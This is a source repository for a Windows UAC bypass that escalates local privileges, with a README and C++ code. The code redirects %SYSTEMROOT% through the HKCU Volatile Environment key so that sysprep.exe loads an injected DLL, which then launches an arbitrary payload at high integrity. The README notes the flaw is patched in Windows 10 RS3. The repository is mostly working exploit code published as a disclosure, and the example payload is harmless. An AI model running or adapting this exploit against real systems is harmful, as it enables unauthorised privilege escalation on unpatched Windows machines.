├── .gitignore ├── ExamplePayload ├── Payload.cpp ├── Payload.exe └── Readme.txt ├── LICENSE.md ├── README.md ├── SysprepInject ├── SysprepInject.cpp ├── SysprepInject.vcxproj └── SysprepInject.vcxproj.filters ├── SysprepVolatileEnvironmentLPE.sln └── SysprepVolatileEnvironmentLPE ├── SysprepVolatileEnvironmentLPE.cpp ├── SysprepVolatileEnvironmentLPE.vcxproj └── SysprepVolatileEnvironmentLPE.vcxproj.filters /.gitignore: -------------------------------------------------------------------------------- 1 | .vs/ 2 | bin/ 3 | obj/ 4 | Debug/ 5 | Release/ 6 | ipch/ 7 | TestResults/ 8 | *.suo 9 | *.user 10 | *.sdf 11 | *.opensdf 12 | *.opendb 13 | *.VC.db 14 | *.aps 15 | [Tt]humbs.db 16 | *~*.xlsx 17 | *~*.docx 18 | 19 | $Build/ -------------------------------------------------------------------------------- /ExamplePayload/Payload.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * ╓──────────────────────────────────────────────────────────────────────────────────────╖ 3 | * ║ ║ 4 | * ║ Pentest Mini Framework ║ 5 | * ║ (Lightweight penetration testing framework) ║ 6 | * ║ ║ 7 | * ║ Copyright (c) 2017, bytecode77 ║ 8 | * ║ All rights reserved. ║ 9 | * ║ ║ 10 | * ║ Version 0.5.3 ║ 11 | * ║ https://bytecode77.com/hacking/libraries/pentest-mini-framework ║ 12 | * ║ ║ 13 | * ╟──────────────────────────────────────────────────────────────────────────────────────╢ 14 | * ║ ║ 15 | * ║ Redistribution and use in source and binary forms, with or without ║ 16 | * ║ modification, are permitted provided that the following conditions are met: ║ 17 | * ║ ║ 18 | * ║ * Redistributions of source code must retain the above copyright notice, this ║ 19 | * ║ list of conditions and the following disclaimer. ║ 20 | * ║ ║ 21 | * ║ * Redistributions in binary form must reproduce the above copyright notice, this ║ 22 | * ║ list of conditions and the following disclaimer in the documentation and/or ║ 23 | * ║ other materials provided with the distribution. ║ 24 | * ║ ║ 25 | * ║ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ║ 26 | * ║ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ║ 27 | * ║ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ║ 28 | * ║ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ║ 29 | * ║ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ║ 30 | * ║ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ║ 31 | * ║ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ║ 32 | * ║ ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ║ 33 | * ║ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ║ 34 | * ║ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ║ 35 | * ║ ║ 36 | * ╙──────────────────────────────────────────────────────────────────────────────────────╜ 37 | */ 38 | 39 | #include "..\PentestMiniFramework\PentestMiniFramework.h" 40 | 41 | int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 42 | { 43 | DWORD integrityLevel; 44 | wstring integrityLevelName; 45 | Process::GetCurrent().getIntegrity(integrityLevel, integrityLevelName); 46 | 47 | wstring commandLine = L""; 48 | vector args = Application::GetCommandLineArgs(); 49 | if (args.size() <= 1) 50 | { 51 | commandLine = L" (none)\r\n"; 52 | } 53 | else 54 | { 55 | commandLine += L"\r\n"; 56 | for (int i = 1; i < (int)args.size(); i++) 57 | { 58 | commandLine += L"[" + Convert::ToString(i) + L"] = " + args[i] + L"\r\n"; 59 | } 60 | } 61 | 62 | Message::Information 63 | ( 64 | L"Example Payload", 65 | L"Path: " + File::GetExecutablePath() + L"\r\n" + 66 | L"CommandLine:" + commandLine + L"\r\n" + 67 | L"PID: " + Convert::ToString(GetCurrentProcessId()) + L"\r\n" + 68 | L"Integrity Level: 0x" + Convert::ToString(integrityLevel, 16) + L"\r\n" + 69 | L"Integrity: " + integrityLevelName + L"\r\n" + 70 | L"User: " + System::GetCurrentUser() 71 | ); 72 | 73 | return 0; 74 | } -------------------------------------------------------------------------------- /ExamplePayload/Payload.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bytecode77/sysprep-privilege-escalation/522bd46bd7845659c61b290fca82a00332b467d3/ExamplePayload/Payload.exe -------------------------------------------------------------------------------- /ExamplePayload/Readme.txt: -------------------------------------------------------------------------------- 1 | Payload.exe displays a MessageBox with basic executable information, especially 2 | integrity level. It is part of my 'Pentest Mini Framework' and not relevant to 3 | the exploit itself. -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | Copyright (c) 2017, bytecode77 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, this 11 | list of conditions and the following disclaimer in the documentation and/or 12 | other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 15 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 18 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 19 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 20 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 21 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 23 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Sysprep Volatile Environment LPE 2 | 3 | **Important: This exploit is from 2017 and not the known Sysprep exploit found in Windows 7!** 4 | 5 | | Exploit Information | | 6 | |:------------------- |:--------------------------------- | 7 | | Date | 28.06.2017 | 8 | | Patched | Windows 10 RS3 (16299) | 9 | | Tested on | Windows 8-10, x86 and x64 | 10 | 11 | ## Description 12 | 13 | There is a known UAC bypass vulnerability that was first discovered in Windows 7 Release Candidate. Due to sysprep.exe being in a sub directory, DLL hijacking was possible. In Windows 8 and above, this issue is fixed, Windows 7 is not patched to this day. 14 | 15 | So much for the past, moving on. Sysprep was patched by loading some DLL's from a specific directory instead. 16 | 17 | Let's look at Sysprep's manifest: 18 | 19 | ```xml 20 | 27 | 31 | [...] 32 | ``` 33 | 34 | So, now all vulnerable DLL's are loaded from %systemroot% instead. Basically this makes exploitation still possible and even easier and more reliable. 35 | 36 | How to change %systemroot%? 37 | Simple: Through Volatile Environment. 38 | Define your own %systemroot% in HKEY_CURRENT_USER\Volatile Environment and Sysprep will load precisely the DLL's specified in the manifest from there. 39 | 40 | Very basic idea. In PoC, I figured out that for Windows 8/8.1 and for Windows 10 there are different DLL's. For Windows 10 it's "dbgcore.dll" and on Windows 8, "cryptbase.dll" works. The other DLL's have to be copied to the new %systemroot%, too, as they are loaded from there. For this, we just copy them from their original location. 41 | 42 | Then, as we execute sysprep.exe, it will load all DLL's. The original ones that are just copies and our payload DLL as well. 43 | In our payload DLL, we then restore the environment variable and run our code in high IL. In this example, Payload.exe will be started, which is an exemplary payload file displaying a MessageBox. 44 | 45 | Why more reliable? Because no explorer.exe injection with IFileOperation is required anymore. This means only one DLL and less to worry about potential race conditions. 46 | 47 | ## Expected Result 48 | 49 | When everything worked correctly, Payload.exe should be executed, displaying basic information including integrity level. 50 | 51 | ![](https://bytecode77.com/images/pages/sysprep-privilege-escalation/result.webp) 52 | 53 | ## Downloads 54 | 55 | Compiled binaries with example payload: 56 | 57 | [![](http://bytecode77.com/public/fileicons/zip.png) SysprepVolatileEnvironmentLPE.zip](https://downloads.bytecode77.com/SysprepVolatileEnvironmentLPE.zip) 58 | (**ZIP Password:** bytecode77) 59 | 60 | ## Project Page 61 | 62 | [![](https://bytecode77.com/public/favicon16.png) bytecode77.com/sysprep-privilege-escalation](https://bytecode77.com/sysprep-privilege-escalation) -------------------------------------------------------------------------------- /SysprepInject/SysprepInject.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | using namespace std; 4 | 5 | void DeleteRegistryValue(HKEY key, wstring path, wstring name); 6 | wstring GetTempFolderPath(); 7 | 8 | bool WINAPI DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpvReserved) 9 | { 10 | if (fdwReason == DLL_PROCESS_ATTACH) 11 | { 12 | // We now run in sysprep.exe with high IL 13 | 14 | // Restore %SYSTEMROOT% immediately 15 | DeleteRegistryValue(HKEY_CURRENT_USER, L"Volatile Environment", L"SYSTEMROOT"); 16 | 17 | // Execute Payload.exe 18 | // Basically, any payload can be implemented from here on and it doesn't necessarily have to be a separate executable 19 | // If you can guarantee stability within *this* context, you can also just write down your payload here... 20 | CreateProcessW((GetTempFolderPath() + L"\\SysprepVolatileEnvironmentLPE\\Payload.exe").c_str(), NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &STARTUPINFOW(), &PROCESS_INFORMATION()); 21 | 22 | // Job done. Close System Preparation Tool, thank you. 23 | ExitProcess(0); 24 | } 25 | 26 | return true; 27 | } 28 | 29 | 30 | 31 | void DeleteRegistryValue(HKEY key, wstring path, wstring name) 32 | { 33 | HKEY hKey; 34 | 35 | if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL) 36 | { 37 | RegDeleteValueW(hKey, name.c_str()); 38 | RegCloseKey(hKey); 39 | } 40 | } 41 | wstring GetTempFolderPath() 42 | { 43 | wchar_t path[MAX_PATH]; 44 | GetTempPathW(MAX_PATH, path); 45 | return wstring(path); 46 | } -------------------------------------------------------------------------------- /SysprepInject/SysprepInject.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {AA7AFB23-CA7D-4311-9A1F-E60C12743D8C} 24 | SysprepInject 25 | 10.0.15063.0 26 | 27 | 28 | 29 | DynamicLibrary 30 | true 31 | v141 32 | MultiByte 33 | 34 | 35 | DynamicLibrary 36 | false 37 | v141 38 | true 39 | MultiByte 40 | 41 | 42 | DynamicLibrary 43 | true 44 | v141 45 | MultiByte 46 | 47 | 48 | DynamicLibrary 49 | false 50 | v141 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | true 78 | MultiThreadedDebug 79 | 80 | 81 | mkdir "$(SolutionDir)$Release" 82 | mkdir "$(SolutionDir)$Release\$(PlatformShortName)" 83 | xcopy /Y "$(TargetPath)" "$(SolutionDir)$Release\$(PlatformShortName)" 84 | 85 | 86 | 87 | 88 | Level3 89 | Disabled 90 | true 91 | MultiThreadedDebug 92 | 93 | 94 | mkdir "$(SolutionDir)$Release" 95 | mkdir "$(SolutionDir)$Release\$(PlatformShortName)" 96 | xcopy /Y "$(TargetPath)" "$(SolutionDir)$Release\$(PlatformShortName)" 97 | 98 | 99 | 100 | 101 | Level3 102 | MaxSpeed 103 | true 104 | true 105 | true 106 | MultiThreaded 107 | 108 | 109 | true 110 | true 111 | 112 | 113 | mkdir "$(SolutionDir)$Release" 114 | mkdir "$(SolutionDir)$Release\$(PlatformShortName)" 115 | xcopy /Y "$(TargetPath)" "$(SolutionDir)$Release\$(PlatformShortName)" 116 | 117 | 118 | 119 | 120 | Level3 121 | MaxSpeed 122 | true 123 | true 124 | true 125 | MultiThreaded 126 | 127 | 128 | true 129 | true 130 | 131 | 132 | mkdir "$(SolutionDir)$Release" 133 | mkdir "$(SolutionDir)$Release\$(PlatformShortName)" 134 | xcopy /Y "$(TargetPath)" "$(SolutionDir)$Release\$(PlatformShortName)" 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | -------------------------------------------------------------------------------- /SysprepInject/SysprepInject.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SysprepVolatileEnvironmentLPE.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26430.12 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SysprepVolatileEnvironmentLPE", "SysprepVolatileEnvironmentLPE\SysprepVolatileEnvironmentLPE.vcxproj", "{412E79F9-824D-4641-AE8C-39523B7F6604}" 7 | ProjectSection(ProjectDependencies) = postProject 8 | {AA7AFB23-CA7D-4311-9A1F-E60C12743D8C} = {AA7AFB23-CA7D-4311-9A1F-E60C12743D8C} 9 | EndProjectSection 10 | EndProject 11 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SysprepInject", "SysprepInject\SysprepInject.vcxproj", "{AA7AFB23-CA7D-4311-9A1F-E60C12743D8C}" 12 | EndProject 13 | Global 14 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 15 | Debug|x64 = Debug|x64 16 | Debug|x86 = Debug|x86 17 | Release|x64 = Release|x64 18 | Release|x86 = Release|x86 19 | EndGlobalSection 20 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 21 | {412E79F9-824D-4641-AE8C-39523B7F6604}.Debug|x64.ActiveCfg = Debug|x64 22 | {412E79F9-824D-4641-AE8C-39523B7F6604}.Debug|x64.Build.0 = Debug|x64 23 | {412E79F9-824D-4641-AE8C-39523B7F6604}.Debug|x86.ActiveCfg = Debug|Win32 24 | {412E79F9-824D-4641-AE8C-39523B7F6604}.Debug|x86.Build.0 = Debug|Win32 25 | {412E79F9-824D-4641-AE8C-39523B7F6604}.Release|x64.ActiveCfg = Release|x64 26 | {412E79F9-824D-4641-AE8C-39523B7F6604}.Release|x64.Build.0 = Release|x64 27 | {412E79F9-824D-4641-AE8C-39523B7F6604}.Release|x86.ActiveCfg = Release|Win32 28 | {412E79F9-824D-4641-AE8C-39523B7F6604}.Release|x86.Build.0 = Release|Win32 29 | {AA7AFB23-CA7D-4311-9A1F-E60C12743D8C}.Debug|x64.ActiveCfg = Debug|x64 30 | {AA7AFB23-CA7D-4311-9A1F-E60C12743D8C}.Debug|x64.Build.0 = Debug|x64 31 | {AA7AFB23-CA7D-4311-9A1F-E60C12743D8C}.Debug|x86.ActiveCfg = Debug|Win32 32 | {AA7AFB23-CA7D-4311-9A1F-E60C12743D8C}.Debug|x86.Build.0 = Debug|Win32 33 | {AA7AFB23-CA7D-4311-9A1F-E60C12743D8C}.Release|x64.ActiveCfg = Release|x64 34 | {AA7AFB23-CA7D-4311-9A1F-E60C12743D8C}.Release|x64.Build.0 = Release|x64 35 | {AA7AFB23-CA7D-4311-9A1F-E60C12743D8C}.Release|x86.ActiveCfg = Release|Win32 36 | {AA7AFB23-CA7D-4311-9A1F-E60C12743D8C}.Release|x86.Build.0 = Release|Win32 37 | EndGlobalSection 38 | GlobalSection(SolutionProperties) = preSolution 39 | HideSolutionNode = FALSE 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /SysprepVolatileEnvironmentLPE/SysprepVolatileEnvironmentLPE.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * ╓──────────────────────────────────────────────────────────────────────────────────────╖ 3 | * ║ ║ 4 | * ║ Sysprep Volatile Environment UAC Bypass Local Privilege Escalation ║ 5 | * ║ ║ 6 | * ║ Discovered by bytecode77 (https://bytecode77.com) ║ 7 | * ║ ║ 8 | * ║ Full Download: ║ 9 | * ║ https://bytecode77.com/sysprep-privilege-escalation ║ 10 | * ║ ║ 11 | * ╟──────────────────────────────────────────────────────────────────────────────────────╢ 12 | * ║ ║ 13 | * ║ There is a known UAC bypass vulnerability that was first discovered in Windows 7 ║ 14 | * ║ Release Candidate. Due to sysprep.exe being in a sub directory, DLL hijacking ║ 15 | * ║ was possible. In Windows 8 and above, this issue is fixed, Windows 7 is not ║ 16 | * ║ patched to this day. ║ 17 | * ║ ║ 18 | * ║ So much for the past, moving on. Sysprep was patched by loading some DLL's from ║ 19 | * ║ a specific directory instead. ║ 20 | * ║ ║ 21 | * ║ Let's look at Sysprep's manifest: ║ 22 | * ║ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ║ 23 | * ║ ║ 24 | * ║ ║ 31 | * ║ ║ 35 | * ║ [...] ║ 36 | * ║ ║ 37 | * ║ So, now all vulnerable DLL's are loaded from %systemroot% instead. Basically ║ 38 | * ║ this makes exploitation still possible and even easier and more reliable. ║ 39 | * ║ ║ 40 | * ║ How to change %systemroot%? ║ 41 | * ║ Simple: Through Volatile Environment. ║ 42 | * ║ Define your own %systemroot% in HKEY_CURRENT_USER\Volatile Environment and ║ 43 | * ║ Sysprep will load precisely the DLL's specified in the manifest from there. ║ 44 | * ║ ║ 45 | * ║ Very basic idea. In PoC, I figured out that for Windows 8/8.1 and for Windows 10 ║ 46 | * ║ there are different DLL's. For Windows 10 it's "dbgcore.dll" and on Windows 8, ║ 47 | * ║ "cryptbase.dll" works. The other DLL's have to be copied to the new ║ 48 | * ║ %systemroot%, too, as they are loaded from there. For this, we just copy them ║ 49 | * ║ from their original location. ║ 50 | * ║ ║ 51 | * ║ Then, as we execute sysprep.exe, it will load all DLL's. The original ones that ║ 52 | * ║ are just copies and our payload DLL as well. ║ 53 | * ║ In our payload DLL, we then restore the environment variable and run our code in ║ 54 | * ║ high IL. In this example, Payload.exe will be started, which is an exemplary ║ 55 | * ║ payload file displaying a MessageBox. ║ 56 | * ║ ║ 57 | * ║ Why more reliable? Because no explorer.exe injection with IFileOperation is ║ 58 | * ║ required anymore. This means only one DLL and less to worry about potential race ║ 59 | * ║ conditions. ║ 60 | * ║ ║ 61 | * ╙──────────────────────────────────────────────────────────────────────────────────────╜ 62 | */ 63 | 64 | #include 65 | #include 66 | #include 67 | using namespace std; 68 | 69 | #pragma comment(lib, "netapi32.lib") 70 | 71 | void SetRegistryValue(HKEY key, wstring path, wstring name, wstring value); 72 | wstring GetTempFolderPath(); 73 | wstring GetStartupPath(); 74 | bool GetWindowsVersion(DWORD &major, DWORD &minor); 75 | 76 | int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 77 | { 78 | // Prepare our working directory that is later assigned to %SYSTEMROOT% through volatile environment 79 | // We will also use it to put Payload.exe there - Just an example file, can be any arbitrary executable 80 | wstring systemRoot = GetTempFolderPath() + L"\\SysprepVolatileEnvironmentLPE"; 81 | CreateDirectoryW(systemRoot.c_str(), NULL); 82 | CreateDirectoryW((systemRoot + L"\\System32").c_str(), NULL); 83 | 84 | // Copy some specific DLL's from the original %SYSTEMROOT% which get loaded from our new directory 85 | CopyFileW(L"C:\\Windows\\System32\\ActionQueue.dll", (systemRoot + L"\\System32\\ActionQueue.dll").c_str(), FALSE); 86 | CopyFileW(L"C:\\Windows\\System32\\bcryptprimitives.dll", (systemRoot + L"\\System32\\bcryptprimitives.dll").c_str(), FALSE); 87 | CopyFileW(L"C:\\Windows\\System32\\unattend.dll", (systemRoot + L"\\System32\\unattend.dll").c_str(), FALSE); 88 | 89 | DWORD major, minor; 90 | GetWindowsVersion(major, minor); 91 | 92 | // Windows 10, or above? ;) 93 | if (major >= 10) 94 | { 95 | // Expand our directory structure to this directory as well 96 | CreateDirectoryW((systemRoot + L"\\System32\\Sysprep").c_str(), NULL); 97 | 98 | // Some more DLL's that are specific to Windows 10 99 | CopyFileW(L"C:\\Windows\\System32\\unattend.dll", (systemRoot + L"\\System32\\unattend.dll").c_str(), FALSE); 100 | CopyFileW(L"C:\\Windows\\System32\\wdscore.dll", (systemRoot + L"\\System32\\wdscore.dll").c_str(), FALSE); 101 | CopyFileW(L"C:\\Windows\\System32\\Sysprep\\unbcl.dll", (systemRoot + L"\\System32\\Sysprep\\unbcl.dll").c_str(), FALSE); 102 | 103 | // This is our DLL that is loaded and then executed as "dbgcore.dll" 104 | CopyFileW((GetStartupPath() + L"\\SysprepInject.dll").c_str(), (systemRoot + L"\\System32\\dbgcore.dll").c_str(), FALSE); 105 | } 106 | // Windows 8 and 8.1 107 | else if (major == 6 && minor >= 2) 108 | { 109 | // One more DLL that is specific to Windows 8 / 8.1 110 | CopyFileW(L"C:\\Windows\\System32\\wdscore.dll", (systemRoot + L"\\System32\\wdscore.dll").c_str(), FALSE); 111 | 112 | // This is our DLL that is loaded and then executed as "cryptbase.dll" 113 | CopyFileW((GetStartupPath() + L"\\SysprepInject.dll").c_str(), (systemRoot + L"\\System32\\cryptbase.dll").c_str(), FALSE); 114 | } 115 | // Windows 7 does not work this way. It works the "old fashion sysprep-way" that is still not patched. We all know that one... 116 | else 117 | { 118 | return 0; 119 | } 120 | 121 | // This is our payload. It can be any executable, but for now we just display a MessageBox with basic information and IL 122 | CopyFileW((GetStartupPath() + L"\\Payload.exe").c_str(), (systemRoot + L"\\Payload.exe").c_str(), FALSE); 123 | 124 | // HKEY_CURRENT_USER\Volatile Environment\SYSTEMROOT 125 | // -> This registry value will redirect some DLL loading attempts to the directory we just prepared 126 | SetRegistryValue(HKEY_CURRENT_USER, L"Volatile Environment", L"SYSTEMROOT", systemRoot); 127 | 128 | // Execute sysprep.exe 129 | // Continue reading in SysprepInject.cpp 130 | ShellExecuteW(NULL, L"open", L"C:\\Windows\\System32\\Sysprep\\sysprep.exe", NULL, NULL, SW_SHOWNORMAL); 131 | return 0; 132 | } 133 | 134 | 135 | 136 | void SetRegistryValue(HKEY key, wstring path, wstring name, wstring value) 137 | { 138 | HKEY hKey; 139 | 140 | if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL) 141 | { 142 | RegSetValueExW(hKey, name.c_str(), 0, REG_SZ, (BYTE*)value.c_str(), ((DWORD)wcslen(value.c_str()) + 1) * sizeof(wchar_t)); 143 | RegCloseKey(hKey); 144 | } 145 | } 146 | wstring GetTempFolderPath() 147 | { 148 | wchar_t path[MAX_PATH]; 149 | GetTempPathW(MAX_PATH, path); 150 | return wstring(path); 151 | } 152 | wstring GetStartupPath() 153 | { 154 | wchar_t path[MAX_PATH]; 155 | GetModuleFileNameW(NULL, path, MAX_PATH); 156 | wstring pathStr = wstring(path); 157 | return pathStr.substr(0, pathStr.find_last_of(L"/\\")); 158 | } 159 | bool GetWindowsVersion(DWORD &major, DWORD &minor) 160 | { 161 | LPBYTE rawData = NULL; 162 | if (NetWkstaGetInfo(NULL, 100, &rawData) == NERR_Success) 163 | { 164 | WKSTA_INFO_100* workstationInfo = (WKSTA_INFO_100*)rawData; 165 | major = workstationInfo->wki100_ver_major; 166 | minor = workstationInfo->wki100_ver_minor; 167 | NetApiBufferFree(rawData); 168 | return true; 169 | } 170 | else 171 | { 172 | return false; 173 | } 174 | } -------------------------------------------------------------------------------- /SysprepVolatileEnvironmentLPE/SysprepVolatileEnvironmentLPE.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {412E79F9-824D-4641-AE8C-39523B7F6604} 24 | SysprepVolatileEnvironmentLPE 25 | 10.0.15063.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v141 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v141 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v141 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v141 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | true 78 | MultiThreadedDebug 79 | 80 | 81 | xcopy /Y "$(TargetPath)" "$(SolutionDir)$Release\$(PlatformShortName)" 82 | xcopy /Y "$(SolutionDir)ExamplePayload\Payload.exe" "$(SolutionDir)$Release\$(PlatformShortName)" 83 | 84 | 85 | 86 | 87 | Level3 88 | Disabled 89 | true 90 | MultiThreadedDebug 91 | 92 | 93 | xcopy /Y "$(TargetPath)" "$(SolutionDir)$Release\$(PlatformShortName)" 94 | xcopy /Y "$(SolutionDir)ExamplePayload\Payload.exe" "$(SolutionDir)$Release\$(PlatformShortName)" 95 | 96 | 97 | 98 | 99 | Level3 100 | MaxSpeed 101 | true 102 | true 103 | true 104 | MultiThreaded 105 | 106 | 107 | true 108 | true 109 | 110 | 111 | xcopy /Y "$(TargetPath)" "$(SolutionDir)$Release\$(PlatformShortName)" 112 | xcopy /Y "$(SolutionDir)ExamplePayload\Payload.exe" "$(SolutionDir)$Release\$(PlatformShortName)" 113 | 114 | 115 | 116 | 117 | Level3 118 | MaxSpeed 119 | true 120 | true 121 | true 122 | MultiThreaded 123 | 124 | 125 | true 126 | true 127 | 128 | 129 | xcopy /Y "$(TargetPath)" "$(SolutionDir)$Release\$(PlatformShortName)" 130 | xcopy /Y "$(SolutionDir)ExamplePayload\Payload.exe" "$(SolutionDir)$Release\$(PlatformShortName)" 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | -------------------------------------------------------------------------------- /SysprepVolatileEnvironmentLPE/SysprepVolatileEnvironmentLPE.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | --------------------------------------------------------------------------------